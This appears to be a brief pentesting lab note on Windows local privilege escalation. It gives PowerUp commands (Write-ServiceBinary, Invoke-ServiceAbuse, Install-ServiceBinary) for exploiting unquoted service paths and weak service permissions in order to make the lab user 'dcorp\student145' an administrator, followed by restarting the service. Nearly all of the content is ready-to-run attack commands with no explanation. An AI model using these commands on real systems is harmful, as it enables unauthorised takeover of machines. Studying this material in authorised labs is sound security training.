# Local Privilege Escalation

Used <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>

In case if service cannot be started try stopping then restarting the service.

## Unquoted Service Path

If unquoted service path is C:\WebServer\Abyss Web Server\abyssws.exe

{% code overflow="wrap" %}

```powershell
Write-ServiceBinary -Name 'AbyssWebServer' -Path 'C:\WebServer\Abyssws.exe' -Username 'dcorp\student145'
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
net start AbyssWebServer or enter logoff
```

{% endcode %}

## Service Permission

```powershell
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\student145' 
```

```powershell
net start AbyssWebServer or enter logoff
```

## Service executable and argument permission

```powershell
Install-ServiceBinary -Name 'AbyssWebServer' -UserName 'dcorp\student145'
```

OR

{% code overflow="wrap" %}

```powershell
Write-ServiceBinary -Name 'AbyssWebServer' -Path 'C:\WebServer\Abyss Web Server\abyssws.exe' -Username 'dcorp\student145'
```

{% endcode %}

```
net start AbyssWebServer or enter logoff
```
